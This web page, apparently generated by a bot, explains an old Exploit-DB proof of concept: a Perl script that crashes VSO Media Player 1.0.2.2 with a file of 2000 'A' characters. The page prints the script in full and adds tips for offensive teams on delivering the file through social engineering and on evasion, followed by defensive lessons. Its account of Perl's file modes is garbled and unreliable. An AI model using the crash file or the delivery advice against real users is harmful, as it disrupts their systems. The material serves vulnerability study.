By exploitdb papers bot•January 2, 2010•
papers
VSO Media Player 1.0.2.2 Local Denial of Service Explained
VSO Media Player 1.0.2.2 Local Denial of Service Explained
What this paper is
This paper is a Proof-of-Concept (PoC) exploit demonstrating a local Denial of Service (DoS) vulnerability in VSO Media Player version 1.0.2.2. It shows how to crash the application by creating a specially crafted file.
Simple technical breakdown
The exploit works by creating a file named "SarBoT511.ape". This file is filled with 2000 'A' characters. When VSO Media Player attempts to open or process this file, it encounters an unexpectedly large amount of data where it expects something else, leading to a crash. This is a classic buffer overflow or malformed input vulnerability that causes the program to become unstable and terminate.
Complete code and payload walkthrough
The provided code is a simple Perl script.
#!usr/bin/perl
#Exploits title :[VSO Medoa Player Version 1.0.2.2 Local Denial Of Services poc]
#Date : [2010/01/02]
#Aouther : [SarBoT511]
#downloads :[www.vso-software.fr]
#tested on :[win xp sp2]
#VSO Medoa Player Version 1.0.2.2
$file="SarBoT511.ape";
$boom="A" x 2000;
open(myfile,">>$file");
print myfile $boom;
close(myfile);
print "Done ..! ~#";Let's break down each part:
#!usr/bin/perl: This is a shebang line, indicating that the script should be executed using the Perl interpreter.#Exploits title :[VSO Medoa Player Version 1.0.2.2 Local Denial Of Services poc]: This is a comment providing metadata about the exploit.#Date : [2010/01/02]: Comment indicating the date of creation.#Aouther : [SarBoT511]: Comment indicating the author.#downloads :[www.vso-software.fr]: Comment providing a download link for the vulnerable software.#tested on :[win xp sp2]: Comment specifying the operating system and service pack it was tested on.#VSO Medoa Player Version 1.0.2.2: Comment reiterating the vulnerable software version.$file="SarBoT511.ape";: This line declares a variable named$fileand assigns it the string "SarBoT511.ape". This will be the name of the malicious file created by the script.$boom="A" x 2000;: This line declares a variable named$boom. The"A" x 2000syntax in Perl creates a string consisting of the character 'A' repeated 2000 times. This is the payload designed to trigger the vulnerability.open(myfile,">>$file");: This line opens a file for writing.myfile: This is a filehandle that will be used to refer to the opened file.">>$file": This is the mode string.>: Opens the file for writing. If the file exists, its contents are truncated (deleted).>: Appends to the file. If the file exists, new data is written at the end. If it doesn't exist, it's created.$file: The filename to open, which is "SarBoT511.ape".
- Combined: This opens "SarBoT511.ape" in append mode. Since it's the first write operation, it effectively creates the file and prepares it for writing.
print myfile $boom;: This line writes the content of the$boomvariable (2000 'A' characters) into the file associated with themyfilefilehandle.close(myfile);: This line closes themyfilefilehandle, ensuring that all buffered data is written to the file and system resources are released.print "Done ..! ~#";: This line prints a confirmation message to the console, indicating that the script has finished its execution.
Mapping:
#!usr/bin/perl-> Interpreter directive.#...(all lines starting with #) -> Comments, providing context and metadata.$file="SarBoT511.ape";-> Defines the target filename for the exploit artifact.$boom="A" x 2000;-> Defines the malicious payload: a string of 2000 'A' characters.open(myfile,">>$file");-> Opens the target file in append/create mode.print myfile $boom;-> Writes the malicious payload into the file.close(myfile);-> Finalizes the file creation.print "Done ..! ~#";-> User feedback upon completion.
There is no shellcode or complex payload in this PoC; the "payload" is simply the malformed data within the .ape file designed to crash the application.
Practical details for offensive operations teams
- Required Access Level: Local user access to the target machine where VSO Media Player is installed. No administrative privileges are strictly required to create a file in user-writable directories.
- Lab Preconditions:
- A target machine with Windows XP SP2 (as specified in the paper) and VSO Media Player version 1.0.2.2 installed.
- A Perl interpreter installed on the attacker's machine or the target machine if the script is to be executed directly there. Alternatively, the script can be adapted to other scripting languages or compiled into an executable for delivery.
- Tooling Assumptions:
- Perl interpreter (for running the provided script).
- A text editor to save the Perl script.
- The VSO Media Player 1.0.2.2 software itself for testing.
- Execution Pitfalls:
- Incorrect Software Version: The exploit is highly specific to version 1.0.2.2. Other versions may not be vulnerable or may require different payloads.
- File Type Association/Handling: The exploit relies on the player attempting to process the
.apefile. If the player is configured not to open.apefiles, or if the file is not presented to the player correctly (e.g., not opened by the user), the exploit will fail. - Antivirus/EDR: While this is a simple file creation, more advanced security solutions might flag the creation of unusual files or the behavior of the script itself.
- Payload Size: The exact size of the overflowing data (2000 'A's) is crucial. Too little data might not trigger the vulnerability, while too much could cause different, non-crashing behaviors or be handled differently by the application. The paper doesn't explicitly state why 2000 'A's is the trigger, implying it's found through trial and error or reverse engineering.
- Delivery Mechanism: The script itself needs to be delivered to the target. This could be via social engineering, a shared drive, or other means. The
.apefile then needs to be opened by the user or the application.
- Tradecraft Considerations:
- Reconnaissance: Confirming the exact version of VSO Media Player is paramount.
- Staging: The Perl script can be run on the target, or the
.apefile can be pre-generated and delivered. - Evasion: The script is very basic and unlikely to be flagged by signature-based AV. However, the creation of the file might be logged.
- Impact Assessment: This is a DoS. The goal is to disrupt service, not gain further access. The operator must be aware of the potential for system instability.
Where this was used and when
This exploit was published in January 2010. It targets VSO Media Player version 1.0.2.2. Given its publication date and the nature of the vulnerability (a simple local DoS), it's likely that this exploit was used in the context of:
- Vulnerability research and disclosure: Researchers finding and reporting vulnerabilities.
- Educational purposes: Demonstrating DoS concepts to students or security professionals.
- Limited malicious use: Potentially by individuals aiming to disrupt a specific user's system by tricking them into opening the malicious file. However, the limited scope (local DoS, specific version) suggests it wasn't a widespread, sophisticated attack.
Defensive lessons for modern teams
- Input Validation is Key: Always validate the size, format, and content of all external inputs, especially files processed by applications. Unexpectedly large or malformed data is a common vector for crashes and overflows.
- Secure Coding Practices: Developers must be trained in secure coding to prevent buffer overflows and other memory corruption vulnerabilities.
- Software Version Management: Keeping software updated is crucial. Vulnerabilities like this are often patched in later versions. Organizations should have robust patch management processes.
- File Type Handling: Be cautious about how applications handle various file types. Restricting processing of untrusted file types or using sandboxing can mitigate risks.
- Least Privilege: Running applications with the minimum necessary privileges can limit the impact of a successful exploit, even if it causes a crash.
- Monitoring and Logging: Monitor for unusual file creation or application behavior that might indicate an attempted exploit.
ASCII visual (if applicable)
This exploit is a simple file creation process. An ASCII visual might be overly complex for this straightforward interaction. The core interaction is:
+-----------------+ +-----------------+ +-------------------+
| Attacker Machine|----->| Target Machine |----->| VSO Media Player |
| (Perl Script) | | (Creates .ape) | | (Processes .ape) |
+-----------------+ +-----------------+ +-------------------+
|
v
+---------+
| CRASH |
+---------+Source references
- Paper ID: 10907
- Paper Title: VSO Medoa Player 1.0.2.2 - Local Denial of Service (PoC)
- Author: SarBoT511
- Published: 2010-01-02
- Keywords: Windows, dos
- Paper URL: https://www.exploit-db.com/papers/10907
- Raw URL: https://www.exploit-db.com/raw/10907
Original Exploit-DB Content (Verbatim)
#!usr/bin/perl
#Exploits title :[VSO Medoa Player Version 1.0.2.2 Local Denial Of Services poc]
#Date : [2010/01/02]
#Aouther : [SarBoT511]
#downloads :[www.vso-software.fr]
#tested on :[win xp sp2]
#VSO Medoa Player Version 1.0.2.2
$file="SarBoT511.ape";
$boom="A" x 2000;
open(myfile,">>$file");
print myfile $boom;
close(myfile);
print "Done ..! ~#";